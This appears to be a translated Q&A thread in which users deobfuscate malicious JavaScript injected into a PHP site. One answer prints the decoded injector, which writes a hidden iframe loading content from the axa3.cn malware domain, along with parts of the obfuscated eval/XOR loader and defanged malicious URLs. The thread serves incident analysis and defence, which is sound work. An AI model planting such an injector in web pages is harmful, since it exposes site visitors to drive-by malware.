5

我有一些代码位于 javascript 中的 php 文件的底部。它经历了许多奇怪的扭曲,比如将十六进制转换为 ascii,然后进行正则表达式替换,执行代码等等......

有没有办法在它实际执行之前找出它正在执行的内容?

代码在这里:

http://pastebin.ca/1303597

4

7 回答 7

26

您可以逐步完成它 - 因为它是 Javascript,并且它是被解释的,所以它需要是它自己的解密器。如果您可以访问命令行 Javascript 解释器(例如Firebug中的控制台),这将相当简单。

我会看看,看看会发生什么。

编辑我已经完成了大部分工作 - 看起来最后一步并非易事,可能是因为它涉及“argument.callee”。无论如何,我已经在Pastebin上提出了迄今为止的内容。

有趣的是,我发现其中最困难的部分是给乱码变量正确命名。它让我想起了填字游戏或数独游戏,你知道事物是如何相关的,但在你弄清楚它的依赖部分是什么之前,你不能明确地分配一些东西。:-) 我敢肯定,如果有人认可该算法,他们可以为这些部分赋予更有意义的名称,但是在进行大量异或运算的地方,有两个临时变量,我刚刚将其保留为默认名称因为我不知道足够的上下文来给他们有用的上下文。

最终编辑:当我意识到我可以传入具有讽刺意味的是刚刚解码的原始文本时,“arguments.callee”位变得很容易(这是一种非常聪明的技术,因此正常的反混淆当然不会起作用,因为一次您重命名变量等,值不同)。无论如何,这是您的完整脚本:


    function EvilInstaller(){};
    EvilInstaller.prototype = {
        getFrameURL : function() {
            var dlh=document.location.host;
            return "http"+'://'+((dlh == '' || dlh == 'undefined') ? this.getRandString() : '') + dlh.replace (/[^a-z0-9.-]/,'.').replace (/\.+/,'.') + "." + this.getRandString() + "." + this.host + this.path;
        },
        path:'/elanguage.cn/',
        cookieValue:1,
        setCookie : function(name, value) {
            var d= new Date();
            d.setTime(new Date().getTime() + 86400000);
            document.cookie = name + "=" + escape(value)+"; expires="+d.toGMTString();
        },
        install : function() {
            if (!this.alreadyInstalled()) {
                var s = "<div style='display:none'><iframe src='" + this.getFrameURL() + "'></iframe></div>"
                try {
                    document.open();
                    document.write(s);
                    document.close();
                }
                catch(e) {
                    document.write("<html><body>" + s + "</body></html>")
                }
                this.setCookie(this.cookieName, this.cookieValue);
            }
        },
        getRandString : function() {
            var l=16,c='0Z1&2Q3Z4*5&6Z7Q8*9)a*b*cQdZeQf*'.replace(/[ZQ&\*\)]/g, '');
            var o='';
            for (var i=0;i<l;i++) {
                o+=c.substr(Math.floor(Math.random()*c.length),1,1);
            }
            return o;
        },
        cookieName:'hedcfagb',
        host:'axa3.cn',
        alreadyInstalled : function() {
            return !(document.cookie.indexOf(this.cookieName + '=' + this.cookieValue) == -1);
        }
    };
    var evil=new EvilInstaller();
    evil.install();

基本上它看起来像是从 axa3.cn 加载恶意软件。不过,该网站已经被 ISP 怀疑了,所以不知道除了一般的坏处之外实际上还有什么。

(如果有人感兴趣,我将 Pastebin 用作更改代码版本的伪 VCS,因此您可以在我的第一篇编辑帖子之后看到另一个中间步骤。看到不同的混淆层以及如何他们改变了。)

于 2009-01-08T17:30:46.713 回答
2

只需编写一个 perl 脚本或将所有转义的十六进制字符更改为 ascii 的东西?然后只需查看正则表达式以查看到底发生了什么,并对您的 perl/whatever 脚本执行相同的操作。

于 2009-01-08T17:28:46.250 回答
2

虽然您可以手动解码,但当您有多个解码阶段时,它很快就会变得乏味。我通常替换 eval/write 来查看每个步骤:

<script>
    window.__eval= window.eval;
    window.eval= function(s) { if (confirm('OK to eval? '+s)) return this.__eval(s); }
    document.__write= document.write;
    document.write= function(s) { if (confirm('OK to write? '+s)) return this.__write(s); }
</script>

然而,通过仔细检查 window.eval,可以保护这个特定的脚本免受这种情况的影响。使用 arguments.callee 还意味着脚本依赖于特定浏览器的 Function.toString 格式,在这种情况下是 IE - 它不适用于其他浏览器。您可以在替换 eval 函数中放置变通方法,以在这种情况下为脚本提供它所期望的内容,但这仍然有点痛苦。

您可以使用 Script Debugger 单步调试代码,或者我在这种情况下所做的是允许代码在没有网络的虚拟机中运行,我可以负担得起注销。通过在代码运行后查看 document.body.innerHTML,我发现它添加了一个不可见的 iframe,指向:

hxxp://62bc13b764ad2799.bbe4e7d3df5fdea8.axa3.cn/elanguage.cn/

重定向到:

hxxp://google.com.upload.main.update.originalcn.cn/ebay.cn/index.php

在 IE 中以合适的条件查看,它会给你带来大量的漏洞利用。不要访问这些 URL

简而言之,您的服务器已被 axa3.cn 入侵,axa3.cn 是目前许多由中国托管但由俄罗斯运营的恶意软件团伙之一。

于 2009-01-08T18:43:45.570 回答
1

您可以尝试使用萤火虫控制台并将其分解。作为开始:

var jQuery = eval('w;iLn0d;opw;.0epv_a_l;'.replace(/[;0_pL]/g, ''));

只是将“eval”函数掩盖为“jQuery”

于 2009-01-08T17:31:49.363 回答
1

最简单的方法是使用简单的 c 程序将转义的十六进制字符转换为可读文本,如下所示:

#include <stdio.h>

const char wtf[] = ""; // Really long string goes here

int main(void) {
    ::printf("%s\n", wtf);
}

这产生了这个(我添加了格式)。我会让你完成最后一部分,它看起来更相似。

于 2009-01-08T17:39:25.403 回答
1

非常小心——如果有人费了这么大的力气来混淆代码,那可能是某种攻击脚本

您可以使用本地 html 文件分阶段输出执行结果,并一次获取一份

这样做我得到:

var jQuery = "eval(" + 
    'w;iLn0d;opw;.0epv_a_l;'.replace(/[;0_pL]/g, '') + 
    ");";
document.writeln('jQuery=' + jQuery);

产生

jQuery=eval(window.eval);

正如 crescentfresh 所观察到的,它将变量 jQuery 绑定到 window.eval 函数。

下一节显然是试图用十六进制代码评估某些东西,所以让我们看看十六进制代码字符串是什么样子的(出于演示目的手动重新格式化):

    function g4LZ(s9QNvAL)
    {
        function eDdqkXm(fX09)
        {
            var uaWG=0;
            var jtoS=fX09.length;
            var aCD6=0;
            while(aCD6wQ5.length)
                d971I=0;
            if(f234SD>lIXy6md.length)
                f234SD=0;
            kyCyJ+=String.fromCharCode(nCV2eO^ocx) + '';
        }
        eval(kyCyJ);
        return kyCyJ=new String();
    }
    catch(e){}
}
g4LZ('%33...%5e');

现在我们在最后得到了一个转义字符串,让我们看看里面有什么使用 unescape (为了演示而截断):

30248118GA0* l: WRG:nt9*82:)7Z\uF%*{...

坦率地说,我厌倦了把它拆开,所以我把它转储到一个本地 html 文件中,断开与互联网的连接,打开 firefox,禁用 javascript,在 firefox 中加载文件,打开 firebug,重新加载页面以便它运行,并检查了 DOM。

该脚本会创建一个 IFRAME,并将 SRC 设置为 [为安全而更改!]:

http://4b3b9e839fd84e47 [DO NOT CLICK THIS URL] .27f721b7f6c92d76.axa3.cn/elanguage.cn/

axa3.cn 是恶意软件黑名单上的中文域

于 2009-01-08T18:31:46.873 回答
0

我知道这不是答案,但通常(我在哪里见过这种东西),它们被放置,所以如果该行没有执行,所有脚本都会停止。他们为什么这样做?好吧,因为他们在脚本(或更通常是模板)上打印了他们的版权。

当人们为了您的认可而费尽心机是因为他们确实拥有删除版权许可时,我建议您为此付费,因为即使您“逆向工程”,他们也可以(并且有)其他方法来检查是否你的执照是真的。(如果您这样做,其中一些软件实际上会发送某种消息)。

但是,在我得到任何形式的火焰之前,我同意回到这种证券并获取原始代码并破解它很有趣=)

于 2009-01-08T18:10:44.543 回答